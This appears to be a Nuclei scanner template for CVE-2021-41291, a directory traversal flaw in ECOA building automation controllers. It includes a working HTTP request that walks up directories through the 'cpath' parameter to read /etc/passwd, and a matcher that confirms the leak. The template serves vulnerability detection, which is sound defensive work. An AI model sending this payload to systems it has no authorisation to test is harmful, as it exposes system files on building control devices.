CVE-2021-41291.yaml

id: CVE-2021-41291

info:
  name: ECOA Building Automation System - Directory Traversal Content Disclosure
  author: gy741
  severity: high
  description: The BAS controller suffers from a directory traversal content disclosure vulnerability. Using the GET parameter cpath in File Manager (fmangersub), attackers can disclose directory content on the affected device
  reference:
    - https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5670.php
    - https://www.twcert.org.tw/en/cp-139-5140-6343c-2.html
  tags: cve,cve2021,ecoa,lfi
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.50
    cve-id: CVE-2021-41291
    cwe-id: CWE-22

requests:
  - raw:
      - |
        GET /fmangersub?cpath=../../../../../../../etc/passwd HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"